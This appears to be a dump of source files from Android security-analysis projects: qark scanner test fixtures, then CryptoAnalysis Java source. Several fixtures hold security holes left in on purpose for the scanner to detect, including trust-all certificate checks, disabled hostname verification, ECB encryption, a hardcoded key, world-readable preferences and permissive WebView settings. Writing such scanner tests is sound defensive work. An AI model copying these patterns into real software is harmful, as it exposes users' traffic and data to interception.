class RegisterReceiver { public void Test(Context context, Calendar c) { final String SOME_ACTION = "com.android.action.MyAction.SomeAction"; IntentFilter intentFilter = new IntentFilter(SOME_ACTION); Receiver mReceiver = new Receiver(); context.registerReceiver(mReceiver, intentFilter); } }
313
33.888889
72
java
qark
qark-master/tests/test_java_files/external_storage.java
class Test { public static File[] Test(Context context) { File[] roots = context.getExternalFilesDirs("external"); File roots = context.getExternalFilesDir("external"); File roots = context.getExternalMediaDirs("external"); File roots = context.getExternalStoragePublicDirectory("external"); return roots; } }
333
36.111111
71
java
qark
qark-master/tests/test_java_files/http_url_hardcoded.java
class Test { public static void TestMethod() { final TextView mTextView = (TextView) findViewById(R.id.text); // ... // Instantiate the RequestQueue. RequestQueue queue = Volley.newRequestQueue(this); String url ="http://www.google.com"; // Request a string response from the provided URL. StringRequest stringRequest = new StringRequest(Request.Method.GET, url, new Response.Listener<String>() { @Override public void onResponse(String response) { // Display the first 500 characters of the response string. mTextView.setText("Response is: "+ response.substring(0,500)); } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError error) { mTextView.setText("That didn't work!"); } }); // Add the request to the RequestQueue. queue.add(stringRequest); } }
909
31.5
76
java
qark
qark-master/tests/test_java_files/insecure_functions.java
class Test { @Override public Bundle call(String method, String arg, Bundle extras) { pass; } }
105
16.666667
64
java
qark
qark-master/tests/test_java_files/phone_identifier.java
import android.telephony.TelephonyManager; class Test { public static void Test(Context context) { TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //Calling the methods of TelephonyManager the returns the information String IMEINumber=tm.getDeviceId(); } }
312
30.3
89
java
qark
qark-master/tests/test_java_files/send_broadcast_receiver_permission.java
/* * Decompiled with CFR 0_124. * * Could not load the following classes: * android.content.BroadcastReceiver * android.content.Context * android.content.Intent * android.content.IntentFilter * android.os.Handler * android.os.Looper * android.os.Message */ package android.support.v4.content; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.os.Handler; import android.os.Looper; import android.os.Message; import java.util.ArrayList; import java.util.HashMap; public class LocalBroadcastManager { /* * Exception decompiling */ public boolean sendBroadcast(Intent var1_1) { throw new IllegalStateException("Decompilation failed"); } public boolean sendBroadcast(Intent var1_1, String var2_1) { throw new IllegalStateException("Decompilation failed"); } public boolean sendBroadcastAsUser(Intent var1_1, String var2_1) { throw new IllegalStateException("Decompilation failed"); } public boolean sendBroadcastAsUser(Intent var1_1, String var2_1, String var3_1) { throw new IllegalStateException("Decompilation failed"); } public boolean sendOrderedBroadcast(Intent var1_1, String var2_1) { throw new IllegalStateException("Decompilation failed"); } public boolean sendOrderedBroadcast(Intent var1_1, String var2_1, String var3_1, String var4_1, String var5_1, String var6_1, String var7_1) { throw new IllegalStateException("Decompilation failed"); } public boolean sendOrderedBroadcastAsUser(Intent var1_1, String var2_1, String var3_1, String var4_1, String var5_1, String var6_1, String var7_1) { throw new IllegalStateException("Decompilation failed"); } public boolean sendStickyBroadcast(Intent var1_1) { throw new IllegalStateException("Decompilation failed"); } public void vulnerableMethod(Intent intent) { if (this.sendBroadcast(intent)) { this.executePendingBroadcasts(); } if (this.sendBroadcast(intent, "permission")) { this.executePendingBroadcasts(); } if (this.sendBroadcastAsUser(intent, "argument2")) { this.executePendingBroadcasts(); } if (this.sendBroadcastAsUser(intent, "argument2", "argument3")) { this.executePendingBroadcasts(); } if (this.sendOrderedBroadcast(intent, "permission")) { this.executePendingBroadcasts(); } if (this.sendOrderedBroadcast(intent, "2", "3", "4", "5", "6", "7")) { this.executePendingBroadcasts(); } if (this.sendOrderedBroadcastAsUser(intent, "2", "3", "4", "5", "6", "7")) { this.executePendingBroadcasts(); } if (this.sendStickyBroadcast(intent)) { this.executePendingBroadcasts(); } } }
3,000
33.895349
120
java
qark
qark-master/tests/test_java_files/task_affinity.java
import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.widget.Toast; public class MyActivity extends Activity { protected void Test() { Intent intent = new Intent(this, BPSplashActivity.class); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); } protected void Test2() { Intent intent = new Intent(this, BPSplashActivity.class); intent.addFlags(Intent.FLAG_ACTIVITY_MULTIPLE_TASK); startActivity(intent); } }
525
20.04
59
java
qark
qark-master/tests/test_java_files/test_android_logging.java
class Test { public void Test() { Log.d("test"); Log.v("test"); } public void Test2() { d("test"); v("test"); } }
137
12.8
23
java
qark
qark-master/tests/test_plugins/test_cert_plugins/testCertMethodsFile.java
class VulnerableCheckServerTrusted { public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {} } class VulnerableCheckServerTrustedEmptyReturn { public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {return;} } class VulnerableOnReceivedSslError { public void onReceivedSslError(Webview view, SslErrorHandler handler, SslError error) throws CertificateException { handler.proceed(); } } class NonVulnerableOnReceivedSslError { public void onReceivedSslError(Webview view, SslErrorHandler handler, SslError error) throws CertificateException { // this one has more logic than just handler.proceed even though it is just as vulnerable if( 1 > 0 ) { handler.proceed(); } } }
798
41.052632
117
java
qark
qark-master/tests/test_plugins/test_cert_plugins/testHostnameVerifier.java
package test_plugins.test_cert_plugins; public class testHostnameVerifier { public static final X509HostnameVerifier ALLOW_ALL_HOSTNAME_VERIFIER = new AllowAllHostnameVerifier(); } public class testSetHostnameVerifier { public static void vulnerableMethod() { URL url = new URL("https://example.org/"); HttpsURLConnection urlConnection = (HttpsURLConnection)url.openConnection(); urlConnection.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); } public static void nonVulnerableMethod() { URL url = new URL("https://example.org/"); HttpsURLConnection urlConnection = (HttpsURLConnection)url.openConnection(); urlConnection.setHostnameVerifier(SSLSocketFactory.SOMETHING_ELSE); } }
734
37.684211
104
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/blank.java
0
0
0
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/ecb1.java
class Example{ public static void main(){ Cipher.getInstance("AES/ECB/PKCS5Padding", "SunJCE"); } }
104
16.5
55
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/ecb2.java
class Example{ public static void main(){ Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding", "SunJCE"); Key skeySpec = KeyGenerator.getInstance("AES").generateKey(); cipher.init(Cipher.ENCRYPT_MODE, skeySpec); System.out.println(Arrays.toString(cipher.doFinal(new byte[] { 0, 1, 2, 3 }))); } }
312
33.777778
81
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/ecb3.java
class Example{ public static void main(){ Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding", "SunJCE"); Key skeySpec = KeyGenerator.getInstance("AES").generateKey(); cipher.init(Cipher.ENCRYPT_MODE, skeySpec); System.out.println(Arrays.toString(cipher.doFinal(new byte[] { 0, 1, 2, 3 }))); } }
312
33.777778
81
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/invalid.java
THIS IS AN INVALID JAVA FILE
29
14
28
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/no_ecb1.java
class Example{ private static String decrypt_data(String encData) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { String key = "bad8deadcafef00d"; SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes(), "AES"); Cipher cipher = Cipher.getInstance("AES"); cipher.init(Cipher.DECRYPT_MODE, skeySpec); System.out.println("Base64 decoded: " + Base64.decode(encData.getBytes()).length); byte[] original = cipher .doFinal(Base64.decode(encData.getBytes())); return new String(original).trim(); } }
643
34.777778
77
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/secure_random_args1.java
import java.security.SecureRandom; class Aoeu{ public String generate(){ SecureRandom random = new SecureRandom(); Random r = new Random(); int seed = r.nextInt(); random.setSeed(seed); return new BigInteger(130, random).toString(32); } }
255
18.692308
50
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/secure_random_args2.java
import java.security.SecureRandom; import java.math.BigInteger; class Aoeu{ public BigInteger generate(){ SecureRandom random = new SecureRandom(); Random r = new Random(); int seed = r.nextInt(); random.setSeed(seed); return new BigInteger(130, random).toString(32); } }
286
19.5
50
java
qark
qark-master/tests/test_plugins/test_crypto_plugins/java_files/secure_random_no_args1.java
import java.security.SecureRandom; import java.util.Random; public final class mfo { public static final SecureRandom a; private static final Random b; static { b = new mfp(); SecureRandom secureRandom = new SecureRandom(); secureRandom.nextLong(); a = secureRandom; } }
321
20.466667
55
java
qark
qark-master/tests/test_plugins/test_file_plugins/test_file_permissions.java
class ExampleReadable{ public static void main(){ SharedPreferences preference = context.getContext() .getSharedPreferences(Context.MODE_WORLD_READABLE); } } class ExampleWritable{ public static void main(){ SharedPreferences preference = context.getContext() .getSharedPreferences(Context.MODE_WORLD_WRITEABLE); } } class ExampleNonVulnerable{ public static void main(){ SharedPreferences preference = context.getContext() .getSharedPreferences(Context.MODE_WRITEABLE); } } class ExampleCommented{ public static void main(){ /* SharedPreferences preference = context.getContext() .getSharedPreferences(Context.MODE_WRITEABLE); */ } }
703
26.076923
60
java
qark
qark-master/tests/test_plugins/test_intent/test_implicit_intent.java
package android.support.v4.content; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.os.Handler; import android.os.Looper; import android.os.Message; import java.util.ArrayList; import java.util.HashMap; public class VulnerableTest { public void vulnerableMethodGetActivity() { PendingIntent b = PendingIntent.getActivity("context", "requestcode", new Intent(), "flags"); } public void vulnerableMethodGetActivities() { PendingIntent b = PendingIntent.getActivities("context", "requestcode", new Intent[]{new Intent()}, "flags"); } public void vulnerableMethodGetService() { PendingIntent b = PendingIntent.getService("context", "requestcode", new Intent(), "flags"); } public void vulnerableMethodGetBroadcast() { PendingIntent b = PendingIntent.getBroadcast("context", "requestcode", new Intent(), "flags"); } public void nonVulnerableMethodGetBroadcast() { PendingIntent b = PendingIntent.getBroadcast("context", "requestcode", new Intent(this, VulnerableTest.class), "flags"); } }
1,169
36.741935
124
java
qark
qark-master/tests/test_plugins/test_manifest_plugins/broadcastreceivers/SendSMSNowReceiver.java
package test_plugins.test_manifest_plugins.broadcastreceivers; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.telephony.SmsManager; import org.owasp.goatdroid.fourgoats.misc.Utils; public class SendSMSNowReceiver extends BroadcastReceiver { Context context; public SendSMSNowReceiver() {} public void onReceive(Context paramContext, Intent paramIntent) { this.context = paramContext; paramContext = SmsManager.getDefault(); paramIntent = paramIntent.getExtras(); paramContext.sendTextMessage(paramIntent.getString("phoneNumber"), null, paramIntent.getString("message"), null, null); Utils.makeToast(this.context, "Your text message has been sent!", 1); } }
793
30.76
123
java
qark
qark-master/tests/test_plugins/test_webviews/vulnerable_webview.java
class WebviewJavascript extends WebViewClient { public void vulnerableMethodJavascriptEnabled() { WebView web = (WebView) findViewById(R.id.webview); web.setWebChromeClient(new MyCustomChromeClient(this)); web.setWebViewClient(new MyCustomWebViewClient(this)); web.clearCache(true); web.clearHistory(); web.getSettings().setJavaScriptEnabled(true); } public void nonVulnerableMethodJavascriptEnabled() { WebView web = (WebView) findViewById(R.id.webview); web.setWebChromeClient(new MyCustomChromeClient(this)); web.setWebViewClient(new MyCustomWebViewClient(this)); web.clearCache(true); web.clearHistory(); web.getSettings().setJavaScriptEnabled(); } public void nonVulnerableMethod2JavascriptEnabled() { WebView web = (WebView) findViewById(R.id.webview); web.setWebChromeClient(new MyCustomChromeClient(this)); web.setWebViewClient(new MyCustomWebViewClient(this)); web.clearCache(true); web.clearHistory(); web.getSettings().setJavaScriptEnabled(false); } public void vulnerableMethodLoadDataWithBaseURL() { WebView web = (WebView) findViewById(R.id.webview); web.setWebChromeClient(new MyCustomChromeClient(this)); web.setWebViewClient(new MyCustomWebViewClient(this)); web.clearCache(true); web.clearHistory(); web.loadDataWithBaseURL("file:///android_res/drawable/", "<html></html>", "text/html", "UTF-8", null); } public void nonVulnerableMethodLoadDataWithBaseURL() { WebView web = (WebView) findViewById(R.id.webview); web.setWebChromeClient(new MyCustomChromeClient(this)); web.setWebViewClient(new MyCustomWebViewClient(this)); web.clearCache(true); web.clearHistory(); web.loadDataWithBaseURL(); } public void vulnerableMethodSetAllowFileAccessSetAllowContentAccess() { WebView web = (WebView) findViewById(R.id.webview); web.setWebChromeClient(new MyCustomChromeClient(this)); web.setWebViewClient(new MyCustomWebViewClient(this)); web.clearCache(true); web.clearHistory(); WebSettings webSettings = web.getSettings(); } public void nonVulnerableMethodSetAllowFileAccessSetAllowContentAccess() { WebView web = (WebView) findViewById(R.id.webview); web.setWebChromeClient(new MyCustomChromeClient(this)); web.setWebViewClient(new MyCustomWebViewClient(this)); web.clearCache(true); web.clearHistory(); WebSettings webSettings = web.getSettings(); webSettings.setAllowFileAccess(false); webSettings.setAllowContentAccess(false); } }
2,549
41.5
106
java
qark
qark-master/tests/test_plugins/test_webviews/vulnerable_webview_add_javascript_interface.java
class JsObject { @JavascriptInterface public String toString() { return "injectedObject"; } } class vulnerable_webview_add_javascript_interface extends WebViewClient { public void vulnerableMethodSetAllowFileAccess() { WebView web = (WebView) findViewById(R.id.webview); web.addJavascriptInterface(new JsObject(), "injectedObject"); } public void vulnerableMethodSetAllowFileAccess2(WebView web) { web.addJavascriptInterface(new JsObject(), "injectedObject"); } public void nonVulnerableMethodSetAllowFileAccess(WebView web) { pass; } }
570
30.722222
73
java
qark
qark-master/tests/test_plugins/test_webviews/vulnerable_webview_content_access.java
class WebviewJavascript extends WebViewClient { public void vulnerableMethodSetAllowContentAccess() { WebView web = (WebView) findViewById(R.id.webview); } public void vulnerableMethodSetAllowContentAccess2() { WebView web = (WebView) findViewById(R.id.webview); WebSettings webSettings = web.getSettings(); webSettings.setAllowContentAccess(true); } public void nonVulnerableMethodSetAllowFileAccess() { WebView web = (WebView) findViewById(R.id.webview); web.getSettings().setAllowContentAccess(false); } public void nonVulnerableMethodSetAllowFileAccess2() { WebView web = (WebView) findViewById(R.id.webview); WebSettings web_settings = web.getSettings(); web_settings.setAllowContentAccess(false); } }
759
37
56
java
qark
qark-master/tests/test_plugins/test_webviews/vulnerable_webview_file_access.java
class WebviewJavascript extends WebViewClient { public void vulnerableMethodSetAllowFileAccess() { WebView web = (WebView) findViewById(R.id.webview); } public void vulnerableMethodSetAllowFileAccess2() { WebView web = (WebView) findViewById(R.id.webview); WebSettings webSettings = web.getSettings(); webSettings.setAllowFileAccess(true); } public void nonVulnerableMethodSetAllowFileAccess() { WebView web = (WebView) findViewById(R.id.webview); web.getSettings().setAllowFileAccess(false); } public void nonVulnerableMethodSetAllowFileAccess2() { WebView web = (WebView) findViewById(R.id.webview); WebSettings web_settings = web.getSettings(); web_settings.setAllowFileAccess(false); } }
744
36.25
56
java
qark
qark-master/tests/test_plugins/test_webviews/vulnerable_webview_set_dom_storage_enabled.java
class vulnerable_webview_set_dom_storage_enabled extends WebViewClient { public void vulnerableMethodSetDomStorageEnabled() { WebView web = (WebView) findViewById(R.id.webview); web.getSettings().setDomStorageEnabled(true); } public void vulnerableMethodSetAllowFileAccess2(WebView web) { web.setDomStorageEnabled(true); } public void nonVulnerableMethodSetAllowFileAccess() { WebView web = (WebView) findViewById(R.id.webview); } }
461
34.538462
72
java
qark
qark-master/tests/test_plugins/test_webviews/vulnerable_webview_universal_access_from_urls.java
class vulnerable_webview_universal_access_from_urls extends WebViewClient { public void vulnerableMethodSetAllowUniversalAccessFromURLs() { WebView web = (WebView) findViewById(R.id.webview); } public void vulnerableMethodSetAllowUniversalAccessFromURLs2() { WebView web = (WebView) findViewById(R.id.webview); WebSettings webSettings = web.getSettings(); webSettings.setAllowUniversalAccessFromFileURLs(true); } public void nonVulnerableMethodSetAllowUniversalAccessFromURLs() { WebView web = (WebView) findViewById(R.id.webview); web.getSettings().setAllowUniversalAccessFromFileURLs(false); } public void nonVulnerableMethodSetAllowUniversalAccessFromURLs2() { WebView web = (WebView) findViewById(R.id.webview); WebSettings web_settings = web.getSettings(); web_settings.setAllowUniversalAccessFromFileURLs(false); } }
875
42.8
75
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis-Android/src/main/java/de/fraunhofer/iem/crypto/CogniCryptAndroidAnalysis.java
package de.fraunhofer.iem.crypto; import java.io.File; import java.util.Collection; import java.util.List; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.google.common.collect.Lists; import boomerang.callgraph.BoomerangICFG; import boomerang.callgraph.ObservableICFG; import boomerang.callgraph.ObservableStaticICFG; import boomerang.preanalysis.BoomerangPretransformer; import crypto.analysis.CrySLResultsReporter; import crypto.analysis.CryptoScanner; import crypto.analysis.errors.AbstractError; import crypto.exceptions.CryptoAnalysisException; import crypto.reporting.CollectErrorListener; import crypto.rules.CrySLRule; import crypto.rules.CrySLRuleReader; import soot.Scene; import soot.SootClass; import soot.SootMethod; import soot.Unit; import soot.jimple.infoflow.InfoflowConfiguration; import soot.jimple.infoflow.android.InfoflowAndroidConfiguration; import soot.jimple.infoflow.android.SetupApplication; import soot.jimple.infoflow.android.config.SootConfigForAndroid; import soot.options.Options; import crypto.cryslhandler.CrySLModelReader; import crypto.reporting.CommandLineReporter; public class CogniCryptAndroidAnalysis { public static void main(String... args) { CogniCryptAndroidAnalysis analysis; if (args[3] != null) { analysis = new CogniCryptAndroidAnalysis(args[0], args[1], args[2], args[3], Lists.<String>newArrayList()); } else { analysis = new CogniCryptAndroidAnalysis(args[0], args[1], args[2], Lists.<String>newArrayList()); } analysis.run(); } private static final Logger logger = LoggerFactory.getLogger(CogniCryptAndroidAnalysis.class); private final String apkFile; private final String platformsDirectory; private final String rulesDirectory; private final String outputDir; private final Collection<String> applicationClassFilter; public CogniCryptAndroidAnalysis(String apkFile, String platformsDirectory, String rulesDirectory, Collection<String> applicationClassFilter) { this(apkFile, platformsDirectory, rulesDirectory, null, applicationClassFilter); } public CogniCryptAndroidAnalysis(String apkFile, String platformsDirectory, String rulesDirectory, String outputDir, Collection<String> applicationClassFilter) { this.apkFile = apkFile; this.platformsDirectory = platformsDirectory; this.rulesDirectory = rulesDirectory; this.applicationClassFilter = applicationClassFilter; this.outputDir = outputDir; } public Collection<AbstractError> run() { logger.info("Running static analysis on APK file " + apkFile); logger.info("with Android Platforms dir " + platformsDirectory); constructCallGraph(); return runCryptoAnalysis(); } public String getApkFile(){ return apkFile; } public String getPlatformsDirectory(){ return platformsDirectory; } public String getRulesDirectory(){ return rulesDirectory; } public Collection<String> getApplicationClassFilter(){ return applicationClassFilter; } private void constructCallGraph() { InfoflowAndroidConfiguration config = new InfoflowAndroidConfiguration(); config.setCallgraphAlgorithm(InfoflowConfiguration.CallgraphAlgorithm.CHA); config.getCallbackConfig().setEnableCallbacks(false); config.setCodeEliminationMode(InfoflowConfiguration.CodeEliminationMode.NoCodeElimination); config.getAnalysisFileConfig().setAndroidPlatformDir(platformsDirectory); config.getAnalysisFileConfig().setTargetAPKFile(apkFile); config.setMergeDexFiles(true); SetupApplication flowDroid = new SetupApplication(config); SootConfigForAndroid sootConfigForAndroid = new SootConfigForAndroid() { @Override public void setSootOptions(Options options, InfoflowConfiguration config) { options.set_keep_line_number(true); } }; flowDroid.setSootConfig(sootConfigForAndroid); logger.info("Constructing call graph"); flowDroid.constructCallgraph(); logger.info("Done constructing call graph"); } private Collection<AbstractError> runCryptoAnalysis() { prepareAnalysis(); final ObservableStaticICFG icfg = new ObservableStaticICFG(new BoomerangICFG(false)); List<CrySLRule> rules = getRules(); final CrySLResultsReporter reporter = new CrySLResultsReporter(); CollectErrorListener errorListener = new CollectErrorListener(); reporter.addReportListener(errorListener); reporter.addReportListener(new CommandLineReporter(outputDir, rules)); CryptoScanner scanner = new CryptoScanner() { @Override public ObservableICFG<Unit, SootMethod> icfg() { return icfg; } @Override public CrySLResultsReporter getAnalysisListener() { return reporter; } }; logger.info("Loaded " + rules.size() + " CrySL rules"); logger.info("Running CogniCrypt Analysis"); scanner.scan(rules); logger.info("Terminated CogniCrypt Analysis"); System.gc(); return errorListener.getErrors(); } private void prepareAnalysis() { BoomerangPretransformer.v().reset(); BoomerangPretransformer.v().apply(); //Setting application classes to be the set of classes where we have found .java files for. Hereby we ignore library classes and reduce the analysis time. if(!applicationClassFilter.isEmpty()) { for(SootClass c : Scene.v().getClasses()){ for(String filter : applicationClassFilter) { if(c.getName().contains(filter)) { c.setApplicationClass(); } else { c.setLibraryClass(); } } } } logger.info("Application classes: "+ Scene.v().getApplicationClasses().size()); logger.info("Library classes: "+ Scene.v().getLibraryClasses().size()); } protected List<CrySLRule> getRules() { List<CrySLRule> rules = Lists.newArrayList(); if (rulesDirectory == null) { throw new RuntimeException( "Please specify a directory the CrySL rules ( " + CrySLModelReader.cryslFileEnding +" Files) are located in."); } File[] listFiles = new File(rulesDirectory).listFiles(); for (File file : listFiles) { if (file != null && file.getName().endsWith(CrySLModelReader.cryslFileEnding)) { try { rules.add(CrySLRuleReader.readFromSourceFile(file)); } catch (CryptoAnalysisException e) { logger.error(e.getMessage(), e); } } } if (rules.isEmpty()) System.out.println("CogniCrypt did not find any rules to start the analysis for.\n" + "It checked for rules in "+rulesDirectory); return rules; } }
6,458
34.295082
162
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/HeadlessCryptoScanner.java
package crypto; import java.io.File; import java.util.Arrays; import java.util.LinkedList; import java.util.List; import java.util.Map; import java.util.concurrent.TimeUnit; import com.google.common.base.Stopwatch; import com.google.common.collect.Lists; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import boomerang.callgraph.ObservableDynamicICFG; import boomerang.callgraph.ObservableICFG; import boomerang.debugger.Debugger; import boomerang.debugger.IDEVizDebugger; import boomerang.preanalysis.BoomerangPretransformer; import crypto.analysis.CrySLAnalysisListener; import crypto.analysis.CrySLResultsReporter; import crypto.analysis.CryptoScanner; import crypto.analysis.CryptoScannerSettings; import crypto.analysis.CryptoScannerSettings.ControlGraph; import crypto.analysis.CryptoScannerSettings.ReportFormat; import crypto.analysis.IAnalysisSeed; import crypto.exceptions.CryptoAnalysisException; import crypto.exceptions.CryptoAnalysisParserException; import crypto.preanalysis.SeedFactory; import crypto.providerdetection.ProviderDetection; import crypto.reporting.CSVReporter; import crypto.reporting.CommandLineReporter; import crypto.reporting.ErrorMarkerListener; import crypto.reporting.SARIFReporter; import crypto.reporting.TXTReporter; import crypto.rules.CrySLRule; import crypto.rules.CrySLRuleReader; import ideal.IDEALSeedSolver; import soot.Body; import soot.BodyTransformer; import soot.EntryPoints; import soot.G; import soot.PackManager; import soot.PhaseOptions; import soot.Scene; import soot.SceneTransformer; import soot.SootMethod; import soot.Transform; import soot.Transformer; import soot.Unit; import soot.options.Options; import typestate.TransitionFunction; public abstract class HeadlessCryptoScanner { private static CryptoScannerSettings settings = new CryptoScannerSettings(); private boolean hasSeeds; private static Stopwatch callGraphWatch; private static List<CrySLRule> rules = Lists.newArrayList(); private static String rulesetRootPath; private static final Logger LOGGER = LoggerFactory.getLogger(HeadlessCryptoScanner.class); public static void main(String[] args) { HeadlessCryptoScanner scanner = createFromCLISettings(args); scanner.exec(); } public static HeadlessCryptoScanner createFromCLISettings(String[] args) { try { settings.parseSettingsFromCLI(args); } catch (CryptoAnalysisParserException e) { LOGGER.error("Parser failed with error: " + e.getClass().toString(), e); } HeadlessCryptoScanner scanner = new HeadlessCryptoScanner() { @Override protected String applicationClassPath() { return settings.getApplicationPath(); } @Override protected List<CrySLRule> getRules() { // TODO: Somehow optimize the rule getting because this has many code duplicates for no reason. switch(settings.getRulesetPathType()) { case DIR: try { rules.addAll(CrySLRuleReader.readFromDirectory(new File(settings.getRulesetPathDir()))); rulesetRootPath = settings.getRulesetPathDir().substring(0, settings.getRulesetPathDir().lastIndexOf(File.separator)); } catch (CryptoAnalysisException e) { LOGGER.error("Error happened when getting the CrySL rules from the specified directory: "+settings.getRulesetPathDir(), e); } break; case ZIP: try { rules.addAll(CrySLRuleReader.readFromZipFile(new File(settings.getRulesetPathZip()))); rulesetRootPath = settings.getRulesetPathZip().substring(0, settings.getRulesetPathZip().lastIndexOf(File.separator)); } catch (CryptoAnalysisException e) { LOGGER.error("Error happened when getting the CrySL rules from the specified file: "+settings.getRulesetPathZip(), e); } break; default: LOGGER.error("Error happened when getting the CrySL rules from the specified file."); } return rules; } }; return scanner; } public void exec() { Stopwatch stopwatch = Stopwatch.createStarted(); if(isPreAnalysis()){ try { initializeSootWithEntryPointAllReachable(false); } catch (CryptoAnalysisException e) { LOGGER.error("Error happened when executing HeadlessCryptoScanner.", e); } LOGGER.info("Pre-Analysis soot setup done in {} ", stopwatch); checkIfUsesObject(); LOGGER.info("Pre-Analysis finished in {}", stopwatch); } if (!isPreAnalysis() || hasSeeds()) { LOGGER.info("Using call graph algorithm {}", callGraphAlgorithm()); try { initializeSootWithEntryPointAllReachable(true); } catch (CryptoAnalysisException e) { LOGGER.error("Error happened when executing HeadlessCryptoScanner.", e); } LOGGER.info("Analysis soot setup done in {} ",stopwatch); analyse(); LOGGER.info("Analysis finished in {}", stopwatch); } } public boolean hasSeeds(){ return hasSeeds; } private void checkIfUsesObject() { final SeedFactory seedFactory = new SeedFactory(HeadlessCryptoScanner.rules); PackManager.v().getPack("jap").add(new Transform("jap.myTransform", new BodyTransformer() { protected void internalTransform(Body body, String phase, Map options) { if (!body.getMethod().getDeclaringClass().isApplicationClass()) { return; } for (Unit u : body.getUnits()) { seedFactory.generate(body.getMethod(), u); } } })); PhaseOptions.v().setPhaseOption("jap.npc", "on"); PackManager.v().runPacks(); hasSeeds = seedFactory.hasSeeds(); } private void analyse() { Transform transform = new Transform("wjtp.ifds", createAnalysisTransformer()); PackManager.v().getPack("wjtp").add(transform); callGraphWatch = Stopwatch.createStarted(); PackManager.v().getPack("cg").apply(); PackManager.v().getPack("wjtp").apply(); } public String toString() { String s = "HeadllessCryptoScanner: \n"; s += "\tSoftwareIdentifier: "+ softwareIdentifier() +"\n"; s += "\tApplicationClassPath: "+ applicationClassPath() +"\n"; s += "\tSootClassPath: "+ sootClassPath() +"\n\n"; return s; } private Transformer createAnalysisTransformer() { return new SceneTransformer() { @Override protected void internalTransform(String phaseName, Map<String, String> options) { BoomerangPretransformer.v().reset(); BoomerangPretransformer.v().apply(); ObservableDynamicICFG observableDynamicICFG = new ObservableDynamicICFG(false); List<CrySLRule> rules = HeadlessCryptoScanner.rules; ErrorMarkerListener fileReporter; if(reportFormat()!= null) { switch (reportFormat()) { case SARIF: fileReporter = new SARIFReporter(getOutputFolder(), rules); break; case CSV: fileReporter = new CSVReporter(getOutputFolder(), softwareIdentifier(), rules, callGraphWatch.elapsed(TimeUnit.MILLISECONDS)); break; default: fileReporter = new TXTReporter(getOutputFolder(), rules); } } else { fileReporter = new CommandLineReporter(rules); } final CrySLResultsReporter reporter = new CrySLResultsReporter(); if(getAdditionalListener() != null) reporter.addReportListener(getAdditionalListener()); CryptoScanner scanner = new CryptoScanner() { @Override public ObservableICFG<Unit, SootMethod> icfg() { return observableDynamicICFG; } @Override public CrySLResultsReporter getAnalysisListener() { return reporter; } @Override public Debugger<TransitionFunction> debugger(IDEALSeedSolver<TransitionFunction> solver, IAnalysisSeed seed) { if(enableVisualization()) { if(getOutputFolder() == null) { LOGGER.error("The visualization requires the --reportDir option."); } File vizFile = new File(getOutputFolder()+"/viz/ObjectId#"+seed.getObjectId()+".json"); vizFile.getParentFile().mkdirs(); return new IDEVizDebugger<>(vizFile, icfg()); } return super.debugger(solver, seed); } }; reporter.addReportListener(fileReporter); if (providerDetection()) { ProviderDetection providerDetection = new ProviderDetection(); if(rulesetRootPath == null) { rulesetRootPath = System.getProperty("user.dir")+File.separator+"src"+File.separator+"main"+File.separator+"resources"; } String detectedProvider = providerDetection.doAnalysis(observableDynamicICFG, rulesetRootPath); if(detectedProvider != null) { rules.clear(); switch(settings.getRulesetPathType()) { case DIR: rules.addAll(providerDetection.chooseRules(rulesetRootPath+File.separator+detectedProvider)); break; case ZIP: rules.addAll(providerDetection.chooseRulesZip(rulesetRootPath+File.separator+detectedProvider+".zip")); break; default: rules.addAll(providerDetection.chooseRules(rulesetRootPath+File.separator+detectedProvider)); } } } scanner.scan(rules); } }; } protected CrySLAnalysisListener getAdditionalListener() { return null; } private void initializeSootWithEntryPointAllReachable(boolean wholeProgram) throws CryptoAnalysisException { G.v().reset(); Options.v().set_whole_program(wholeProgram); switch (callGraphAlgorithm()) { case CHA: Options.v().setPhaseOption("cg.cha", "on"); break; case SPARKLIB: Options.v().setPhaseOption("cg.spark", "on"); Options.v().setPhaseOption("cg", "library:any-subtype"); break; case SPARK: Options.v().setPhaseOption("cg.spark", "on"); break; default: throw new CryptoAnalysisException("No call graph option selected out of: CHA, SPARK_LIBRARY and SPARK"); } Options.v().set_output_format(Options.output_format_none); Options.v().set_no_bodies_for_excluded(true); Options.v().set_allow_phantom_refs(true); Options.v().set_keep_line_number(true); // JAVA 8 if(getJavaVersion() < 9) { Options.v().set_prepend_classpath(true); Options.v().set_soot_classpath(sootClassPath()+ File.pathSeparator + pathToJCE()); } // JAVA VERSION 9 && IS A CLASSPATH PROJECT else if(getJavaVersion() >= 9 && !isModularProject()) { Options.v().set_soot_classpath("VIRTUAL_FS_FOR_JDK" + File.pathSeparator + sootClassPath()); } // JAVA VERSION 9 && IS A MODULEPATH PROJECT else if(getJavaVersion() >= 9 && isModularProject()) { Options.v().set_prepend_classpath(true); Options.v().set_soot_modulepath(sootClassPath()); } 